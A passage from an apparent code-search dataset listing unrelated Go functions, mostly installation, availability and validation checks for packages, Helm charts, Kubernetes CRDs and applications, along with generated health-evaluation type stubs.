rendered.\n\t// If it's a CNI plugin and the base config has not been rendered, we can assume\n\t// the user requested a different CNI plugin and this addon does not need to be\n\t// applied.\n\tif info, err := os.Stat(addon.addonDir()); addon.AddOnType == CniAddOn && (os.IsNotExist(err) || !info.IsDir()) {\n\t\treturn false, nil\n\t}\n\tif skubaConfiguration.AddonsVersion == nil {\n\t\treturn true, nil\n\t}\n\tcurrentAddonVersion, found := skubaConfiguration.AddonsVersion[addon.Addon]\n\tif !found {\n\t\treturn true, nil\n\t}\n\taddonVersion := kubernetes.AddonVersionForClusterVersion(addon.Addon, addonConfiguration.ClusterVersion)\n\treturn addonVersionLower(currentAddonVersion, addonVersion), nil\n}", "func (yi YumInstalled) Check() error {\n\tfor _, p := range yi.Packages {\n\n\t\tcmd := exec.Command(\"yum\", \"list\", \"installed\", p)\n\n\t\tout, err := cmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"run yum list installed %s: %w\", p, err)\n\t\t}\n\n\t\tif len(out) <= 0 {\n\t\t\treturn fmt.Errorf(\"%s isn't installed and should be\", p)\n\t\t}\n\n\t}\n\n\treturn nil\n}", "func IsHelmReleaseInstalled(releaseName string, cfg *helm.Configuration) bool {\n\thistClient := helm.NewHistory(cfg)\n\thistClient.Max = 1\n\t\n\tif release, err := histClient.Run(releaseName); release != nil {\n\t\tdebug(\"release %s is installed\", releaseName)\n\t\treturn true\n\t} else {\n\t\tdebug(\"query release %s returned error %v\", releaseName, err)\n\t\treturn false\n\t}\n}", "func (r AppRunnerInstanceConfig) validate() error {\n\tif err := r.Platform.validate(); err != nil {\n\t\treturn fmt.Errorf(`validate \"platform\": %w`, err)\n\t}\n\t// Error out if user added Windows as platform in manifest.\n\tif isWindowsPlatform(r.Platform) {\n\t\treturn ErrAppRunnerInvalidPlatformWindows\n\t}\n\t// This extra check is because ARM architectures won't work for App Runner services.\n\tif !r.Platform.IsEmpty() {\n\t\tif r.Platform.Arch() != ArchAMD64 || r.Platform.Arch() != ArchX86 {\n\t\t\treturn fmt.Errorf(\"App Runner services can only build on %s and %s architectures\", ArchAMD64, ArchX86)\n\t\t}\n\t}\n\treturn nil\n}", "func (*InstZExt) isInst() {}", "func (*InstUIToFP) isInst() {}", "func isAppAvailable(t *testing.T, healthCheckEndPoint string) bool {\n\tclient := &http.Client{}\n\tresp, err := client.Get(healthCheckEndPoint)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to get a response from health probe: %v\", err)\n\t}\n\tdefer resp.Body.Close()\n\treturn resp.StatusCode == http.StatusNoContent\n}", "func (app *AppWatch) IsExist(data interface{}) bool {\n\tappData, ok := data.(*schedulertypes.Application)\n\tif !ok {\n\t\treturn false\n\t}\n\t_, exist, _ := app.dataCache.Get(appData)\n\tif exist {\n\t\treturn true\n\t}\n\treturn false\n}", "func (*InstFPToUI) isInst() {}", "func (pm *basePackageManager) IsInstalled(pack string) bool {\n\targs := strings.Fields(pm.cmder.IsInstalledCmd(pack))\n\n\t_, err := RunCommand(args[0], args[1:]...)\n\treturn err == nil\n}", "func (atahe ApplicationTypeApplicationsHealthEvaluation) AsDeployedServicePackageHealthEvaluation() (*DeployedServicePackageHealthEvaluation, bool) {\n\treturn nil, false\n}", "func (o *ShowSystem) HasErrataApplicabilityCounts() bool {\n\tif o != nil && !IsNil(o.ErrataApplicabilityCounts) {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func checkRegistryConfiguration(flagset *pflag.FlagSet) {\n\tif flagset.Lookup(\"registry\").Changed || flagset.Lookup(\"registry-namespace\").Changed {\n\t\tcobra.MarkFlagRequired(flagset, \"registry\")\n\t\tcobra.MarkFlagRequired(flagset, \"registry-namespace\")\n\t}\n}", "func verifyInstallation(t *testing.T, ctx resource.Context,\n\tistioCtl istioctl.Instance, profileName string, cs kube.Cluster) {\n\tscopes.Framework.Infof(\"=== verifying istio installation === \")\n\tif err := checkInstallStatus(cs); err != nil {\n\t\tt.Fatalf(\"IstioOperator status not healthy: %v\", err)\n\t}\n\n\tif _, err := cs.CheckPodsAreReady(kube2.NewSinglePodFetch(cs.Accessor, IstioNamespace, \"app=istiod\")); err != nil {\n\t\tt.Fatalf(\"istiod pod is not ready: %v\", err)\n\t}\n\n\tif err := compareInClusterAndGeneratedResources(t, istioCtl, profileName, cs); err != nil {\n\t\tt.Fatalf(\"in cluster resources does not match with the generated ones: %v\", err)\n\t}\n\tsanityCheck(t, ctx)\n\tscopes.Framework.Infof(\"=== succeeded ===\")\n}", "func isSelfPackage(packageName string) bool {\n\treturn packageName == \"pie\"\n}", "func (p *Package) IsInstalled() (bool, error) {\n\tlog.Trace().Interface(\"Package\", p).Msg(\"pkgInstalled\")\n\tlog.Trace().Interface(\"Facts\", facts.Facts).Msg(\"what are the facts?\")\n\tswitch facts.Facts.Distro.Family {\n\tcase \"alpine\":\n\t\tcmd := exec.Command(\"apk\", \"info\", \"-e\", p.Name)\n\t\tvar out bytes.Buffer\n\t\tcmd.Stdout = &out\n\t\terr := cmd.Run()\n\t\tif cmd.ProcessState.ExitCode() == 1 {\n\t\t\treturn false, nil\n\t\t}\n\t\tif err != nil {\n\t\t\tlog.Debug().Err(err).Msg(\"Failed to get package installed status from apk\")\n\t\t}\n\t\tstdOut := out.String()\n\t\tlog.Debug().Str(\"stdout\", stdOut).Msg(\"stdout\")\n\t\tif stdOut != \"\" {\n\t\t\t// package is installed, check version, etc\n\t\t\tif p.Version != \"\" {\n\t\t\t\tif strings.Contains(stdOut, p.Version) {\n\t\t\t\t\treturn true, nil\n\t\t\t\t}\n\n\t\t\t\treturn false, nil\n\n\t\t\t}\n\t\t\treturn true, nil\n\t\t}\n\t\treturn false, nil\n\tcase \"debian\":\n\t\tcmd := exec.Command(\"dpkg-query\", \"-W\", \"-f\", \"${Version}\", p.Name)\n\t\tvar out bytes.Buffer\n\t\tcmd.Stdout = &out\n\t\terr := cmd.Run()\n\t\tif err != nil {\n\t\t\tlog.Warn().Err(err).Str(\"package\", p.Name).Msg(\"Failed to Cmd.run dpkg-query\")\n\t\t} else {\n\t\t\tstdOut := out.String()\n\t\t\tlog.Debug().Str(\"stdout\", stdOut).Msg(\"dpkg-query stdout\")\n\n\t\t\treturn true, nil\n\t\t}\n\t\treturn false, nil\n\tdefault:\n\t\treturn false, fmt.Errorf(\"unknown distro\")\n\t}\n}", "func (atahe ApplicationTypeApplicationsHealthEvaluation) AsDeployedServicePackagesHealthEvaluation() (*DeployedServicePackagesHealthEvaluation, bool) {\n\treturn nil, false\n}", "func (dsphe DeployedServicePackagesHealthEvaluation) AsApplicationHealthEvaluation() (*ApplicationHealthEvaluation, bool) {\n\treturn nil, false\n}", "func (dsphe DeployedServicePackageHealthEvaluation) AsApplicationHealthEvaluation() (*ApplicationHealthEvaluation, bool) {\n\treturn nil, false\n}", "func installChartOrDie(ctx context.Context, cs *kubernetes.Clientset, domain, registry, name, namespace, chartPath string, appManagement bool) {\n\t// ensure namespace for chart exists\n\tif _, err := cs.CoreV1().Namespaces().Create(ctx,\n\t\t&corev1.Namespace{\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tName: namespace,\n\t\t\t},\n\t\t},\n\t\tmetav1.CreateOptions{}); err != nil && !apierrors.IsAlreadyExists(err) {\n\t\tlog.Fatalf(\"Failed to create %s namespace: %v.\", namespace, err)\n\t}\n\n\tvars := helmValuesStringFromMap(map[string]string{\n\t\t\"domain\": domain,\n\t\t\"registry\": registry,\n\t\t\"project\": *project,\n\t\t\"app_management\": strconv.FormatBool(appManagement),\n\t\t\"cr_syncer\": strconv.FormatBool(*crSyncer),\n\t\t\"fluentd\": strconv.FormatBool(*fluentd),\n\t\t\"fluentbit\": strconv.FormatBool(*fluentbit),\n\t\t\"log_prefix_subdomain\": *logPrefixSubdomain,\n\t\t\"docker_data_root\": *dockerDataRoot,\n\t\t\"pod_cidr\": *podCIDR,\n\t\t\"robot_authentication\": strconv.FormatBool(*robotAuthentication),\n\t\t\"robot.name\": *robotName,\n\t})\n\tlog.Printf(\"Installing %s chart using Synk from %s\", name, chartPath)\n\n\toutput, err := exec.Command(\n\t\thelmPath,\n\t\t\"template\",\n\t\t\"--set-string\", vars,\n\t\t\"--name\", name,\n\t\t\"--namespace\", namespace,\n\t\tfilepath.Join(filesDir, chartPath),\n\t).CombinedOutput()\n\tif err != nil {\n\t\tlog.Fatalf(\"Synk install of %s failed: %v\\nHelm output:\\n%s\\n\", name, err, output)\n\t}\n\tcmd := exec.Command(\n\t\tsynkPath,\n\t\t\"apply\",\n\t\tname,\n\t\t\"-n\", namespace,\n\t\t\"-f\", \"-\",\n\t)\n\t// Helm writes the templated manifests and errors alike to stderr.\n\t// So we can just take the combined output as is.\n\tcmd.Stdin = bytes.NewReader(output)\n\n\tif output, err = cmd.CombinedOutput(); err != nil {\n\t\tlog.Fatalf(\"Synk install of %s failed: %v\\nSynk output:\\n%s\\n\", name, err, output)\n\t}\n}", "func HasPackage(name string) bool {\n\tif installers, ok := GetInstallers(name); ok {\n\t\tfor _, installer := range installers {\n\t\t\tif installer.Available() {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}", "func (uddnche UpgradeDomainDeltaNodesCheckHealthEvaluation) AsDeployedServicePackageHealthEvaluation() (*DeployedServicePackageHealthEvaluation, bool) {\n\treturn nil, false\n}", "func (s *Service) IsSupported() bool {\n\tfileExists := s.d.isFileExists(\"/data/local/tmp/minicap\")\n\tif !fileExists {\n\t\terr := s.Install()\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\t}\n\tout, err := s.d.shell(\"LD_LIBRARY_PATH=/data/local/tmp /data/local/tmp/minicap -i\")\n\tif err != nil {\n\t\treturn false\n\t}\n\tsupported := strings.Contains(out, \"height\") && strings.Contains(out, \"width\")\n\treturn supported\n}", "func (r *PackageAggRow) HasValidAvailable() bool { return r.Data.Available != nil }", "func (r *PackageRow) HasValidAvailable() bool { return r.Data.Available != nil }", "func IsLoaded(name string) (bool, error) {\n\treturn false, ErrApparmorUnsupported\n}", "func (e *EngineOperations) IsRunAsInstance() bool {\n\treturn e.EngineConfig.GetInstance()\n}", "func (chs *ChartChangeSync) shouldUpgrade(chartsRepo string, currRel *hapi_release.Release, hr helmfluxv1.HelmRelease) (bool, error) {\n\tif currRel == nil {\n\t\treturn false, fmt.Errorf(\"no chart release provided for %v\", hr.GetName())\n\t}\n\n\tcurrVals := currRel.GetConfig()\n\tcurrChart := currRel.GetChart()\n\n\t// Get the desired release state\n\topts := release.InstallOptions{DryRun: true}\n\ttempRelName := string(hr.UID)\n\tdesRel, _, err := chs.release.Install(chartsRepo, tempRelName, hr, release.InstallAction, opts, &chs.kubeClient)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdesVals := desRel.GetConfig()\n\tdesChart := desRel.GetChart()\n\n\t// compare values\n\tif diff := cmp.Diff(currVals, desVals); diff != \"\" {\n\t\tif chs.config.LogDiffs {\n\t\t\tchs.logger.Log(\"info\", fmt.Sprintf(\"release %s: values have diverged\", currRel.GetName()), \"resource\", hr.ResourceID().String(), \"diff\", diff)\n\t\t}\n\t\treturn true, nil\n\t}\n\n\t// compare chart\n\tif diff := cmp.Diff(sortChartFields(currChart), sortChartFields(desChart)); diff != \"\" {\n\t\tif chs.config.LogDiffs {\n\t\t\tchs.logger.Log(\"info\", fmt.Sprintf(\"release %s: chart has diverged\", currRel.GetName()), \"resource\", hr.ResourceID().String(), \"diff\", diff)\n\t\t}\n\t\treturn true, nil\n\t}\n\n\treturn false, nil\n}", "func check() *v1.CustomResourceDefinition {\n\tconfig := getConfig()\n\tapiExtClient, err := apiextv1.NewForConfig(config)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tcrdInfo, err := apiExtClient.CustomResourceDefinitions().Get(context.TODO(), postgresConstants.PostgresCRDResouceName, metav1.GetOptions{})\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tif crdInfo.Name == postgresConstants.PostgresCRDResouceName {\n\t\tfmt.Printf(\"Postgres Operator is installed in the k8s cluster.\\n\")\n\t} else {\n\t\tfmt.Printf(\"Postgres Operator is not installed in the k8s cluster.\\n\")\n\t}\n\treturn crdInfo\n}", "func checkRegistry(catalogItem catalog.Item, installType string) (actionNeeded bool, checkErr error) {\n\t// Iterate through the reg keys to compare with the catalog\n\tcheckReg := catalogItem.Check.Registry\n\tcatalogVersion, err := version.NewVersion(checkReg.Version)\n\tif err != nil {\n\t\tgorillalog.Warn(\"Unable to parse new version: \", checkReg.Version, err)\n\t}\n\n\tgorillalog.Debug(\"Check registry version:\", checkReg.Version)\n\t// If needed, populate applications status from the registry\n\tif len(RegistryItems) == 0 {\n\t\tRegistryItems, checkErr = getUninstallKeys()\n\t}\n\n\tvar installed bool\n\tvar versionMatch bool\n\tfor _, regItem := range RegistryItems {\n\t\t// Check if the catalog name is in the registry\n\t\tif strings.Contains(regItem.Name, checkReg.Name) {\n\t\t\tinstalled = true\n\t\t\tgorillalog.Debug(\"Current installed version:\", regItem.Version)\n\n\t\t\t// Check if the catalog version matches the registry\n\t\t\tcurrentVersion, err := version.NewVersion(regItem.Version)\n\t\t\tif err != nil {\n\t\t\t\tgorillalog.Warn(\"Unable to parse current version\", err)\n\t\t\t}\n\t\t\toutdated := currentVersion.LessThan(catalogVersion)\n\t\t\tif !outdated {\n\t\t\t\tversionMatch = true\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\n\t}\n\n\tif installType == \"update\" && !installed {\n\t\tactionNeeded = false\n\t} else if installType == \"uninstall\" {\n\t\tactionNeeded = installed\n\t} else if installed && versionMatch {\n\t\tactionNeeded = false\n\t} else {\n\t\tactionNeeded = true\n\t}\n\n\treturn actionNeeded, checkErr\n}", "func IsCRDInstalled(kind string) (bool, error) {\n\tlst, err := k8sclient.GetKubeClient().Discovery().ServerResourcesForGroupVersion(\"camel.apache.org/v1alpha1\")\n\tif err != nil && errors.IsNotFound(err) {\n\t\treturn false, nil\n\t} else if err != nil {\n\t\treturn false, err\n\t}\n\tfor _, res := range lst.APIResources {\n\t\tif res.Kind == kind {\n\t\t\treturn true, nil\n\t\t}\n\t}\n\treturn false, nil\n}", "func (a *TelariaAdapter) CheckHasImps(request *openrtb2.BidRequest) error {\n\tif len(request.Imp) == 0 {\n\t\terr := &errortypes.BadInput{\n\t\t\tMessage: \"Telaria: Missing Imp Object\",\n\t\t}\n\t\treturn err\n\t}\n\treturn nil\n}", "func (o *SecurityProblem) HasPackageName() bool {\n\tif o != nil && o.PackageName != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func (dahe DeployedApplicationHealthEvaluation) AsDeployedServicePackageHealthEvaluation() (*DeployedServicePackageHealthEvaluation, bool) {\n\treturn nil, false\n}", "func isCommandAvailable(name string) bool {\n\tcmd := exec.Command(\"command\", name, \"-V\")\n\tif err := cmd.Run(); err != nil {\n\t\tFatalf(\"%s executable is not installed on this box, please run 'yum install -y %[1]s to install it'\", name, name)\n\t}\n\treturn true\n}", "func validatePackageManifest(pkg *apimanifests.PackageManifest) error {\n\tif pkg == nil {\n\t\treturn errors.New(\"empty PackageManifest\")\n\t}\n\n\thasErrors := false\n\tresults := validation.PackageManifestValidator.Validate(pkg)\n\tfor _, r := range results {\n\t\tfor _, e := range r.Errors {\n\t\t\tlog.Errorf(\"PackageManifest validation: [%s] %s\", e.Type, e.Detail)\n\t\t}\n\t\tfor _, w := range r.Warnings {\n\t\t\tlog.Warnf(\"PackageManifest validation: [%s] %s\", w.Type, w.Detail)\n\t\t}\n\t\tif r.HasError() {\n\t\t\thasErrors = true\n\t\t}\n\t}\n\n\tif hasErrors {\n\t\treturn errors.New(\"invalid generated PackageManifest\")\n\t}\n\n\treturn nil\n}", "func IsInstalled(configuration Configuration) (isInstalled bool, err error) {\n\treturn configuration.IsInstalled()\n}", "func (sahe SystemApplicationHealthEvaluation) AsDeployedServicePackageHealthEvaluation() (*DeployedServicePackageHealthEvaluation, bool) {\n\treturn nil, false\n}", "func (m KubedgeBaseManager) IsInstalled() bool {\n\treturn m.IsInstalledFlag\n}", "func (o *ApplianceImageBundleAllOf) HasAnsiblePackages() bool {\n\tif o != nil && o.AnsiblePackages != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func (a KubectlLayerApplier) ApplyIsRequired(ctx context.Context, layer layers.Layer) (applyIsRequired bool, err error) {\n\tlogging.TraceCall(a.getLog(layer))\n\tdefer logging.TraceExit(a.getLog(layer))\n\n\tsourceHrs, clusterHrs, err := a.GetSourceAndClusterHelmReleases(ctx, layer)\n\tif err != nil {\n\t\treturn false, errors.WithMessagef(err, \"%s - failed to get helm releases\", logging.CallerStr(logging.Me))\n\t}\n\n\t// Check for any missing resources first. This is the fastest and easiest check.\n\tfor key, source := range sourceHrs {\n\t\t_, ok := clusterHrs[key]\n\t\tif !ok {\n\t\t\t// this resource exists in the source directory but not on the cluster\n\t\t\ta.logDebug(\"found new HelmRelease in AddonsLayer source directory\", layer, logging.GetObjKindNamespaceName(source)...)\n\t\t\treturn true, nil\n\t\t}\n\t}\n\n\t// Compare each HelmRelease source spec to the spec of the found HelmRelease on the cluster\n\tfor key, source := range sourceHrs {\n\t\tif a.sourceHasReleaseChanged(layer, source, clusterHrs[key]) {\n\t\t\ta.logDebug(\"found source change\", layer, logging.GetObjKindNamespaceName(source)...)\n\t\t\treturn true, nil\n\t\t}\n\t}\n\treturn a.helmReposApplyRequired(ctx, layer)\n}", "func (c *client) IsAppInstalled(org, repo string) (bool, error) {\n\tdurationLogger := c.log(\"IsAppInstalled\", org, repo)\n\tdefer durationLogger()\n\n\tif c.dry {\n\t\treturn false, fmt.Errorf(\"not getting AppInstallation in dry-run mode\")\n\t}\n\tif !c.usesAppsAuth {\n\t\treturn false, fmt.Errorf(\"IsAppInstalled was called when not using appsAuth\")\n\t}\n\n\tcode, err := c.request(&request{\n\t\tmethod: http.MethodGet,\n\t\tpath: fmt.Sprintf(\"/repos/%s/%s/installation\", org, repo),\n\t\torg: org,\n\t\texitCodes: []int{200, 404},\n\t}, nil)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\treturn code == 200, nil\n}", "func (o *ApplianceImageBundleAllOf) HasDcPackages() bool {\n\tif o != nil && o.DcPackages != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func (p *Processor) IsAllowed() bool {\n\t// return false since no startup tasks available for unix platform.\n\treturn false\n}", "func (pd *ParameterDefinition) exemptFromInstall() bool {\n\treturn pd.Source.Output != \"\" && pd.ApplyTo == nil && pd.Default == nil\n}", "func (c *CryptohomeBinary) InstallAttributesIsInvalid(ctx context.Context) (string, error) {\n\tout, err := c.call(ctx, \"--action=install_attributes_is_invalid\")\n\treturn string(out), err\n}", "func isApplicationReady(c *types.ClusterConfig, kotsAppSpec *types.KOTSApplicationSpec) (bool, error) {\n\t// right now, we just check the status informers\n\n\tpathToKOTSBinary, err := downloadKOTSBinary(kotsAppSpec.Version)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"failed to get kots binary\")\n\t}\n\n\tkubeconfigFile, err := ioutil.TempFile(\"\", \"kots\")\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"failed to create temp file\")\n\t}\n\tdefer os.RemoveAll(kubeconfigFile.Name())\n\tif err := ioutil.WriteFile(kubeconfigFile.Name(), []byte(c.Kubeconfig), 0644); err != nil {\n\t\treturn false, errors.Wrap(err, \"failed to create kubeconfig\")\n\t}\n\n\tnamespace := kotsAppSpec.Namespace\n\tif namespace == \"\" {\n\t\tnamespace = kotsAppSpec.App\n\t}\n\n\tappSlug, err := getAppSlug(c, kotsAppSpec)\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"failed to get app slug\")\n\t}\n\n\targs := []string{\n\t\t\"--namespace\", namespace,\n\t\t\"--kubeconfig\", kubeconfigFile.Name(),\n\t}\n\n\tallArgs := []string{\n\t\t\"app-status\",\n\t\t\"-n\", namespace,\n\t\tappSlug,\n\t}\n\tallArgs = append(allArgs, args...)\n\tcmd := exec.Command(pathToKOTSBinary, allArgs...)\n\tvar stdout bytes.Buffer\n\tvar stderr bytes.Buffer\n\tcmd.Stdout = &stdout\n\tcmd.Stderr = &stderr\n\n\tcmd.Start()\n\tdone := make(chan error)\n\tgo func() {\n\t\tdone <- cmd.Wait()\n\t}()\n\ttimeout := time.After(time.Second * 5)\n\n\tselect {\n\tcase <-timeout:\n\t\tcmd.Process.Kill()\n\t\tfmt.Printf(\"timedout waiting for app ready. received std out: %s\\n\", stdout.String())\n\t\treturn false, nil\n\tcase err := <-done:\n\t\tif err != nil {\n\t\t\treturn false, errors.Wrap(err, \"failed to run kots\")\n\t\t}\n\n\t\tappStatusResponse := AppStatusResponse{}\n\t\tif err := json.Unmarshal(stdout.Bytes(), &appStatusResponse); err != nil {\n\t\t\treturn false, errors.Wrap(err, \"faile to parse app status response\")\n\t\t}\n\n\t\treturn appStatusResponse.AppStatus.State == \"ready\", nil\n\t}\n}", "func (pi *PackageInfo) isPackageInit(fi *funcInfo) bool {\n\tfor _, v := range pi.packageInit {\n\t\tif fi == v {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "func (dsphe DeployedServicePackageHealthEvaluation) AsDeployedApplicationHealthEvaluation() (*DeployedApplicationHealthEvaluation, bool) {\n\treturn nil, false\n}", "func (*InstSIToFP) isInst() {}", "func (m *CloudTowerApplicationPackage) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateApplications(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateArchitecture(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateContainers(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateImages(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateName(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateScosVersion(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateVersion(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "func validateDpConfigName() {\n\tif _, ok := Conf.DataPowerAppliances[*dpConfigName]; ok {\n\t\tfmt.Printf(\"DataPower appliance configuration with name '%s' already exists.\\n\\n\", *dpConfigName)\n\t\tusage(2)\n\t}\n}", "func (dahe DeployedApplicationHealthEvaluation) AsDeployedServicePackagesHealthEvaluation() (*DeployedServicePackagesHealthEvaluation, bool) {\n\treturn nil, false\n}", "func isEligibleForExecution(sensor *v1alpha1.Sensor, logger *logrus.Logger) (bool, error) {\n\tif sensor.Spec.ErrorOnFailedRound && sensor.Status.TriggerCycleStatus == v1alpha1.TriggerCycleFailure {\n\t\treturn false, errors.Errorf(\"last trigger cycle was a failure and sensor policy is set to ErrorOnFailedRound, so won't process the triggers\")\n\t}\n\tif sensor.Spec.Circuit != \"\" && sensor.Spec.DependencyGroups != nil {\n\t\treturn dependencies.ResolveCircuit(sensor, logger)\n\t}\n\tif ok := sensor.AreAllNodesSuccess(v1alpha1.NodeTypeEventDependency); ok {\n\t\treturn true, nil\n\t}\n\treturn false, nil\n}", "func (dahe DeployedApplicationsHealthEvaluation) AsDeployedServicePackageHealthEvaluation() (*DeployedServicePackageHealthEvaluation, bool) {\n\treturn nil, false\n}", "func (sahe SystemApplicationHealthEvaluation) AsDeployedServicePackagesHealthEvaluation() (*DeployedServicePackagesHealthEvaluation, bool) {\n\treturn nil, false\n}", "func isImageDeployedToDC(iTarget model.ImageTarget, dcTarget model.DockerComposeTarget) bool {\n\tid := iTarget.ID()\n\tfor _, depID := range dcTarget.DependencyIDs() {\n\t\tif depID == id {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "func (o *KubernetesAddonDefinitionAllOf) HasIconUrl() bool {\n\tif o != nil && o.IconUrl != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func (p Plugin) Check(task plugins.Task) (installed bool, err error) {\n\tinstalled = true\n\treturn installed, err\n}", "func (dsphe DeployedServicePackagesHealthEvaluation) AsDeployedApplicationHealthEvaluation() (*DeployedApplicationHealthEvaluation, bool) {\n\treturn nil, false\n}", "func (o *ApplianceImageBundleAllOf) HasSystemPackages() bool {\n\tif o != nil && o.SystemPackages != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func (uddnche UpgradeDomainDeltaNodesCheckHealthEvaluation) AsDeployedServicePackagesHealthEvaluation() (*DeployedServicePackagesHealthEvaluation, bool) {\n\treturn nil, false\n}", "func (me TxsdRegistryHandleSimpleContentExtensionRegistry) IsApnic() bool {\n\treturn me.String() == \"apnic\"\n}", "func (o *ApplianceImageBundleAllOf) HasInitPackages() bool {\n\tif o != nil && o.InitPackages != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func checkIsUnitTestScio(args ...interface{}) (bool, error) {\n\treturn false, nil\n\t//TODO BEAM-13702\n}", "func (ahe ApplicationHealthEvaluation) AsDeployedServicePackageHealthEvaluation() (*DeployedServicePackageHealthEvaluation, bool) {\n\treturn nil, false\n}", "func isImageDeployedToK8s(iTarget model.ImageTarget, kTarget model.K8sTarget) bool {\n\tid := iTarget.ID()\n\tfor _, depID := range kTarget.DependencyIDs() {\n\t\tif depID == id {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "func (r *ReconcilerBase) IsApplicationSupported() bool {\n\tisApplicationSupported, err := r.IsGroupVersionSupported(applicationsv1beta1.SchemeGroupVersion.String(), \"Application\")\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn isApplicationSupported\n}", "func (o *KubernetesAddonDefinitionAllOf) GetChartUrlOk() (*string, bool) {\n\tif o == nil || o.ChartUrl == nil {\n\t\treturn nil, false\n\t}\n\treturn o.ChartUrl, true\n}", "func (ahe ApplicationsHealthEvaluation) AsDeployedServicePackageHealthEvaluation() (*DeployedServicePackageHealthEvaluation, bool) {\n\treturn nil, false\n}", "func TypeCheckInstanceIsFundamentallyA(instance *TypeInstance, fundamentalType Type) bool {\n\tc_instance := (*C.GTypeInstance)(C.NULL)\n\tif instance != nil {\n\t\tc_instance = (*C.GTypeInstance)(instance.ToC())\n\t}\n\n\tc_fundamental_type := (C.GType)(fundamentalType)\n\n\tretC := C.g_type_check_instance_is_fundamentally_a(c_instance, c_fundamental_type)\n\tretGo := retC == C.TRUE\n\n\treturn retGo\n}", "func (c *Command) CheckApInterface() {\n\tcmd := exec.Command(\"ifconfig\", \"wlan0\")\n\tgo c.Runner.ProcessCmd(\"ifconfig_wlan0\", cmd)\n}", "func (uddnche UpgradeDomainDeltaNodesCheckHealthEvaluation) AsApplicationHealthEvaluation() (*ApplicationHealthEvaluation, bool) {\n\treturn nil, false\n}", "func (dsphe DeployedServicePackageHealthEvaluation) AsDeployedServicePackagesHealthEvaluation() (*DeployedServicePackagesHealthEvaluation, bool) {\n\treturn nil, false\n}", "func Installed() (isIt map[string]bool, err error) {\n suricata := make(map[string]bool)\n suricata[\"path\"] = suriPath()\n suricata[\"bin\"] = suriBin()\n suricata[\"running\"] = SuriRunning()\n if suricata[\"path\"] || suricata[\"bin\"] || suricata[\"running\"] {\n logs.Info(\"Suricata installed and running\")\n return suricata, nil\n } else {\n logs.Error(\"Suricata isn't present or not running\")\n return suricata, errors.New(\"Suricata isn't present or not running\")\n }\n}", "func checkInstance(instance *Instance, instanceconfig InstanceConfigs) {\n\n\tlog.Debugf(\"checkInstance[%s]: start\", instance.Name)\n\tdefer log.Debugf(\"checkInstance[%s]: end\", instance.Name)\n\n\tinstance.MaxAge, instance.Action = instanceconfig.getDefs(instance.Name, constMaxAge)\n\t// Translate shell commands\n\tinstance.Action = instance.Parse(instance.Action)\n\n\t// Check if it is too old\n\tif instance.Status != \"RUNNING\" {\n\t\tinstance.TooOld = false\n\t\tinstance.Age = 0\n\t} else {\n\t\tif int(instance.Age) > instance.MaxAge {\n\t\t\tinstance.TooOld = true\n\t\t} else {\n\t\t\tinstance.TooOld = false\n\t\t}\n\t}\n}", "func (dsphe DeployedServicePackagesHealthEvaluation) AsDeployedServicePackageHealthEvaluation() (*DeployedServicePackageHealthEvaluation, bool) {\n\treturn nil, false\n}", "func CheckDependencies(ctx context.Context, clt client.Client, addon *types.Addon) bool {\n\tvar app v1beta1.Application\n\tfor _, dep := range addon.Dependencies {\n\t\terr := clt.Get(ctx, client.ObjectKey{\n\t\t\tNamespace: types.DefaultKubeVelaNS,\n\t\t\tName: Convert2AppName(dep.Name),\n\t\t}, &app)\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}", "func (c Initializer) verifyInstallation(client crdclient.CustomResourceDefinitionsGetter, crd *apiextv1.CustomResourceDefinition, result *verifier.Result) error {\n\texistingCrd, err := c.getCrdForVerify(client, crd.Name, result)\n\tif err != nil || existingCrd == nil {\n\t\treturn err\n\t}\n\tif !reflect.DeepEqual(existingCrd.Spec.Versions, crd.Spec.Versions) {\n\t\tresult.AddErrors(fmt.Sprintf(\"Installed CRD versions do not match expected CRD versions (%v vs %v).\", existingCrd.Spec.Versions, crd.Spec.Versions))\n\t}\n\tif healthy, msg, err := status.IsHealthy(existingCrd); !healthy || err != nil {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tresult.AddErrors(fmt.Sprintf(\"Installed CRD %s is not healthy: %v\", crd.Name, msg))\n\t\treturn nil\n\t}\n\tclog.V(2).Printf(\"CRD %s is installed with versions %v\", crd.Name, existingCrd.Spec.Versions)\n\treturn nil\n}", "func 